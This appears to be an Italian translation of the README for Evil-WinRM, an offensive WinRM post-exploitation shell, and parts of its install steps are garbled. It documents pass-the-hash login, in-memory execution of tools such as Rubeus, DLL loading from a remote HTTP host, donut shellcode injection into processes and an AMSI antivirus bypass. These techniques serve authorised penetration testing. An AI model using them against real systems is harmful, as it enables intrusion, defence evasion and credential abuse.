
La shell WinRM definitiva per hacking/pentesting
La shell WinRM definitiva per hacking/pentesting

Questa shell è la shell WinRM definitiva per hacking/pentesting.
WinRM (Windows Remote Management) è l'implementazione Microsoft del protocollo WS-Management, un protocollo standard basato su SOAP che consente a hardware e sistemi operativi di diversi fornitori di interoperare. Microsoft lo ha incluso nei propri sistemi operativi per semplificare la vita agli amministratori di sistema.
Questo programma può essere utilizzato su qualsiasi server Microsoft Windows con questa funzionalità abilitata (solitamente sulla porta 5985), ovviamente solo se si dispone di credenziali e permessi per utilizzarlo. Possiamo quindi dire che potrebbe essere utilizzato in una fase di post-exploitation hacking/pentesting. Lo scopo di questo programma è fornire funzionalità comode e facili da usare per l'hacking. Può essere utilizzato anche per scopi legittimi dagli amministratori di sistema, ma la maggior parte delle sue funzionalità è focalizzata su cose relative all'hacking/pentesting.
Si basa principalmente sulla libreria Ruby WinRM che ha cambiato il suo modo di funzionare dalla versione 2.0. Ora, invece di utilizzare il protocollo WinRM, utilizza PSRP (Powershell Remoting Protocol) per inizializzare pool di runspace e per creare ed elaborare pipeline.
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message
## Requisiti
È necessario Ruby 2.3 o superiore. Sono necessari anche alcuni gem ruby: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`.
A seconda del metodo di installazione (4 disponibili), potrebbe essere necessario installarli manualmente.
Un altro requisito importante utilizzato solo per l'autenticazione Kerberos è installare il pacchetto Kerberos usato per l'autenticazione di rete.
Per alcuni Linux basati su Debian (Kali, Parrot, ecc.) si chiama `krb5-user`. Per BlackArch si chiama `krb5` e probabilmente potrebbe avere un nome diverso per altre distribuzioni Linux.
La funzionalità di completamento del percorso remoto funzionerà solo se il tuo ruby è stato compilato abilitando il flag `--with-readline-dir`. Questo è abilitato per default nel ruby incluso in alcune distribuzioni Linux ma non in tutte. Controlla [la sezione sottostante](#Remote-path-completion) per maggiori informazioni.
## Installazione & Avvio rapido (4 metodi)
### Metodo 1. Installazione diretta come gem ruby (le dipendenze verranno installate automaticamente sul tuo sistema)
- Passo 1. Installalo (installerà automaticamente le dipendenze): ```gem install evil-winrm```
- Passo 2. Pronto. Avvialo!```
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
sudo gem install winrm winrm-fs stringio logger fileutilsgit clone https://github.com/Hackplayers/evil-winrm.git### Metodo 3. Usare bundler (le dipendenze non verranno installate sul tuo sistema, solo per usare evil-winrm)
- Passo 1. Installa bundler: `gem install bundler`
- Passo 2. Clona il repository: `git clone https://github.com/Hackplayers/evil-winrm.git`
- Passo 3. Installa le dipendenze con bundler: `cd evil-winrm && bundle install --path vendor/bundle`
- Passo 4. Avvia con bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
## Documentazione
### Password in chiaro
Se non vuoi inserire la password in chiaro, puoi evitare di impostare l'argomento `-p` e la password verrà richiesta senza essere mostrata.
### IPv6
Per utilizzare IPv6, l'indirizzo deve essere aggiunto a /etc/hosts. Basta inserire il nome già impostato dell'host dopo l'argomento `-i` invece di un indirizzo IP.
### Comandi di base
- **upload**: i file locali possono essere completati automaticamente usando il tasto Tab.
- uso: `upload nome_file_locale` o `upload nome_file_locale nome_file_destinazione`
- **download**:
- uso: `download nome_file_remoto` o `download nome_file_remoto nome_file_destinazione`
__Note sui percorsi (upload/download)__:
Non è consentito l'uso di percorsi relativi per download/upload. Usa i nomi dei file nella directory corrente o il percorso assoluto.
Se stai usando Evil-WinRM in un ambiente Docker, tieni presente che tutti i percorsi locali devono essere in `/data` e assicurati di averlo mappato come volume per poter accedere ai file scaricati o per poter caricare file dal tuo sistema host locale.
- **services**: elenca tutti i servizi mostrando se il tuo account ha permessi su ciascuno di essi. Non sono necessari permessi di amministratore per usare questa funzionalità.
- **menu**: carica le funzioni `Invoke-Binary`, `Dll-Loader` e `Donut-Loader` che spiegheremo di seguito. Quando viene caricato un ps1, tutte le sue funzioni verranno visualizzate.
- **clear** o **cls**: pulisce lo schermo del terminale. Puoi anche usare la scorciatoia da tastiera `Ctrl+L` per pulire lo schermo.```
*Evil-WinRM* PS C:\> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
_".,_,.__).,) (.._( ._), ) , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_ _____/__ _|__| | (( ( / \ / \__| ____\______ \ / \
| __)_\ \/ / | | ;_)_') \ \/\/ / |/ \| _/ / \ / \
| \\ /| | |__ /_____/ \ /| | | \ | \/ Y \
/_______ / \_/ |__|____/ \__/\ / |__|___| /____|_ /\____|__ /
\/ \/ \/ \/ \/
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit
Per caricare un file ps1 basta digitare il nome (completamento automatico usando tab consentito). Gli script devono trovarsi nel percorso impostato con l'argomento -s. Digita di nuovo menu e vedi le funzioni caricate. File molto grandi possono richiedere molto tempo per essere caricati.```
Evil-WinRM PS C:> PowerView.ps1
Evil-WinRM PS C:> menu
,. ( . ) " ,. ( . ) .
(" ( ) )' ,' ( ' (" ) )' ,' . ,)
.; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )((
".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ')
_ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| /
/ / / / /
By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember
### Comandi avanzati
- Invoke-Binary: consente di eseguire assembly .Net in memoria. Il nome può essere autocompletato usando il tasto Tab. Gli argomenti per il file .exe possono essere passati separati da virgola. Esempio: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Gli eseguibili devono essere nel percorso impostato con l'argomento `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
Execute binaries from memory.
PowerShell Function: Invoke-Binary
Author: Luis Vacas (CyberVaca)
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Invoke-Binary /opt/csharp/Watson.exe
Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Description
-----------
Function that execute binaries from memory.
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
Ticket requests and renewals:
Dll-Loader: permette di caricare librerie dll in memoria, è equivalente a: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))
Il file dll può essere ospitato tramite smb, http o localmente. Una volta caricato, digita menu, quindi è possibile completare automaticamente tutte le funzioni.```
Evil-WinRM PS C:> Dll-Loader
.SYNOPSIS
dll loader.
PowerShell Function: Dll-Loader
Author: Hector de Armas (3v4Si0N)
Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll
Function that loads an arbitrary dll
Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu
[... Snip ...]
Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()
Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64
Donut-Loader: permette di iniettare payload x64 generati con la fantastica tecnica [donut]. Non è necessario codificare il payload.bin, basta generarlo e iniettarlo!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
Donut Loader.
PowerShell Function: Donut-Loader
Author: Luis Vacas (CyberVaca)
Based code: TheWover
Required dependencies: None
Optional dependencies: None
.DESCRIPTION
.EXAMPLE
Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin
Description
-----------
Function that loads an arbitrary donut :D
Puoi usare questo [donut-maker] per generare payload.bin se non usi Windows. Questo script utilizza un modulo Python scritto da Marcello Salvati ([byt3bl33d3r]). Può essere installato usando pip: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe
.'/,-Y" "-.
l.Y ^.
/\ __ Donuts!
i /" "
| /" "\ o !
l ] o !./
\ _ _ .__./ "
X / \ _./
( \ . ..--" ~" /
Y \ /
| "x.^
| -. Z,-- /
__. ( / ______)
\ l /-----
j Y
[+] Donut generated successfully: payload.bin
- Bypass-4MSI: aggira la protezione AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!
*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>
Prima devi sincronizzare la data con il DC: rdate -n <dc_ip>
Per generare il ticket ci sono molti modi:
Aggiungi il file del ticket. Ci sono 3 modi:
export KRB5CCNAME=/foo/var/ticket.ccache
cp ticket.ccache /tmp/krb5cc_0
Usa il parametro -K: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache o evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi
Quando si usa -K, lo strumento automaticamente:
KRB5CCNAMEAggiungi il realm a /etc/krb5.conf (per Linux). L'uso di questo formato è importante: ```
CONTOSO.COM = {
kdc = fooserver.contoso.com
}
Questa funzionalità potrebbe non essere disponibile a seconda della versione di Ruby in uso. Deve essere compilata con il supporto readline. Altrimenti, questa funzionalità non funzionerà (verrà mostrato un avviso).
Usando questo metodo, compilerai Ruby con la funzionalità readline necessaria, ma utilizzando solo la libreria senza cambiare la versione predefinita di Ruby sul tuo sistema. Per questo motivo, è il metodo più raccomandato.
Supponiamo che tu abbia sul tuo sistema basato su Debian Ruby 2.7.3:```
apt install libreadline-dev
ruby --version ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz
tar -xf ruby-2.7.3.tar.gz
cd ruby-2.7.3/ext/readline ruby ./extconf.rb make
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so
#### Metodo 2 (Installa ruby per usarlo solo per evil-winrm utilizzando rbenv)
Supponiamo che tu voglia ruby 2.7.1 su un Linux basato su Debian e che tu stia usando zsh. Questo script lo automatizzerà. Dovrai eseguirlo dalla stessa directory in cui si trovano evil-winrm.rb e Gemfile (la directory evil-winrm creata dopo un git clone per esempio):```
#!/usr/bin/env zsh
# Uninstall possible current installed versions
sudo gem uninstall evil-winrm -q
gem uninstall evil-winrm -q
# Install rbenv
sudo apt install rbenv
# Config rbenv on zshrc config file
echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc
echo 'eval "$(rbenv init -)"' >> ~/.zshrc
source ~/.zshrc
# Install ruby with readline support
export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline"
rbenv install 2.7.1
# Create file '.ruby-version' to set right ruby version
rbenv local 2.7.1
# Install local gems
gem install bundler
bundle install
current_evwr="$(pwd)/evil-winrm.rb"
sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm
#!/usr/bin/env sh
"${current_evwr}" "\$@"
EOF"
sudo chmod +x /usr/bin/evil-winrm
Se vuoi compilarlo da solo, puoi seguire questi passaggi. Supponiamo che tu voglia ruby 2.7.3:``` wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz tar -xzvf ruby-install-0.8.1.tar.gz cd ruby-install-0.8.1/ sudo make install ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline
A seconda del tuo sistema, verrà installato in `/opt/rubies/ruby-2.7.3` o forse in ` ~/.rubies/ruby-2.7.3`.
Ora devi solo installare le dipendenze di evil-winrm per quella nuova versione di ruby installata. Il modo più semplice è lanciare il comando `/opt/rubies/ruby-2.7.3/bin/gem install evil-winrm`. Il comando gem utilizzato deve appartenere alla nuova installazione di ruby.
Dopodiché, puoi lanciare in sicurezza il tuo nuovo ruby installato per usarlo su evil-winrm: `/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h`
Si consiglia di utilizzare questo nuovo ruby installato solo per lanciare evil-winrm. Se lo imposti come ruby predefinito per il tuo sistema, tieni presente che non ha gemme di dipendenza installate. Alcuni software basati su ruby come Metasploit o altri potrebbero non avviarsi correttamente a causa di problemi di dipendenze.
### Registrazione
Questa funzione creerà file nella tua directory $HOME salvando i comandi e gli output delle sessioni WinRM.
### Cronologia comandi
Evil-WinRM mantiene una cronologia persistente dei comandi per ogni combinazione di host e utente. La cronologia è archiviata nella directory `~/.evil-winrm/history/` con file denominati come `{host}_{user}.hist`.
Quando ti connetti a una macchina a cui hai già avuto accesso in precedenza, puoi usare i tasti freccia (Su/Giù) per navigare tra i comandi precedenti. La cronologia viene salvata automaticamente dopo ogni esecuzione di comando e caricata quando ti riconnetti allo stesso host con lo stesso utente.
### Problemi noti. Errori OpenSSL
A volte, potresti incontrare un errore come questo:```
Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error
Il problema è causato dal fatto che la versione 3.0 di OpenSSL ha ritirato alcune funzioni legacy come MD4, necessarie per eseguire questo strumento. Esistono diverse soluzioni alternative per gestire questa situazione:
/etc/ssl/openssl.cnf e assicurarsi che la configurazione sia come questa:```
openssl_conf = openssl_init[openssl_init] providers = provider_sect
[provider_sect] default = default_sect legacy = legacy_sect
[default_sect] activate = 1
[legacy_sect] activate = 1
- Come alternativa all'ultima soluzione alternativa, se il tuo sistema utilizza LibreSSL invece di OpenSSL o forse semplicemente non vuoi modificare il file di configurazione di sistema. Crea un semplice file contenente il contenuto sopra. Puoi usare qualsiasi nome, ad esempio `evil-tls.conf`. Dopodiché, esporta una variabile d'ambiente per forzare il sistema ad usarlo: `export OPENSSL_CONF="/path/to/evil-tls.conf"`. Quindi avvia lo strumento, l'errore scomparirà.
## Registro delle modifiche:
Registro delle modifiche e cambiamenti del progetto possono essere verificati qui: [CHANGELOG.md](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/CHANGELOG.md)
## Crediti:
Staff:
- [Cybervaca], (fondatore). Twitter (X): [@CyberVaca_]
- [OscarAkaElvis], Twitter (X): [@OscarAkaElvis]
- [Jarilaos], Twitter (X): [@_Laox]
- [arale61], Twitter (X): [@arale61]
Ringraziamenti a:
- [Vis0r] per il suo supporto personale.
- [Alamot] per il suo codice originale.
- [3v4Si0N] per il suo fantastico caricatore dll.
- [WinRb] Tutti i contributori della libreria ruby.
- [TheWover] per il suo fantastico strumento donut.
- [byt3bl33d3r] per la sua libreria python per creare payload donut.
- [Sh11td0wn] per l'ispirazione sulle nuove funzionalità.
- [Borch] per il suo aiuto nell'aggiungere la funzionalità di logging.
- [Hackplayers] per aver dato un rifugio sul loro github a questo software.
## Dichiarazione di non responsabilità e Licenza
Questo script è concesso in licenza LGPLv3+. Collegamento diretto alla [Licenza](https://raw.githubusercontent.com/Hackplayers/evil-winrm/master/LICENSE).
Evil-WinRM dovrebbe essere utilizzato solo per test di penetrazione autorizzati e/o scopi educativi senza scopo di lucro.
Qualsiasi uso improprio di questo software non sarà di responsabilità dell'autore o di qualsiasi altro collaboratore.
Usalo sui tuoi server e/o con il permesso del proprietario del server.
<!-- Github URLs -->
[Cybervaca]: https://github.com/cybervaca
[OscarAkaElvis]: https://github.com/OscarAkaElvis
[Jarilaos]: https://github.com/jarilaos
[arale61]: https://github.com/arale61
[Vis0r]: https://github.com/vmotos
[Alamot]: https://github.com/Alamot
[3v4Si0N]: https://github.com/3v4Si0N
[Borch]: https://github.com/Stoo0rmq
[donut]: https://github.com/TheWover/donut
[donut-maker]: https://raw.githubusercontent.com/Hackplayers/Salsa-tools/master/Donut-Maker/donut-maker.py
[byt3bl33d3r]: https://twitter.com/byt3bl33d3r
[WinRb]: https://github.com/WinRb/WinRM/graphs/contributors
[TheWover]: https://github.com/TheWover
[Sh11td0wn]: https://github.com/Sh11td0wn
[ticketer.py]: https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/ticketer.py
[ticket_converter.py]: https://github.com/Zer1t0/ticket_converter
[Rubeus]: https://github.com/GhostPack/Rubeus
[Mimikatz]: https://github.com/gentilkiwi/mimikatz
[cheatsheet]: https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
[Dockerhub]: https://hub.docker.com/r/oscarakaelvis/evil-winrm
[Hackplayers]: https://www.hackplayers.com/
<!-- Twitter URLs -->
[@CyberVaca_]: https://twitter.com/CyberVaca_
[@OscarAkaElvis]: https://twitter.com/OscarAkaElvis
[@_Laox]: https://twitter.com/_Laox
[@arale61]: https://twitter.com/arale61
<!-- Badges URLs -->
[Version-shield]: https://img.shields.io/badge/version-3.9-blue.svg?style=flat-square&colorA=273133&colorB=0093ee "Latest version"
[Ruby2.3-shield]: https://img.shields.io/badge/ruby-2.3+-blue.svg?style=flat-square&colorA=273133&colorB=ff0000 "Ruby 2.3 or later"
[License-shield]: https://img.shields.io/badge/license-LGPL%20v3+-blue.svg?style=flat-square&colorA=273133&colorB=bd0000 "LGPL v3+"
[Docker-shield]: https://img.shields.io/docker/automated/oscarakaelvis/evil-winrm.svg?style=flat-square&colorA=273133&colorB=a9a9a9 "Docker rules!"
[Gem-Version]: https://img.shields.io/gem/v/evil-winrm?style=flat-square&colorA=273133&colorB=46c249 "Ruby gem"
Controlla i ticket Kerberos con klist
Per rimuovere un ticket usa: kdestroy
Per maggiori informazioni su Kerberos, consulta questo [cheatsheet]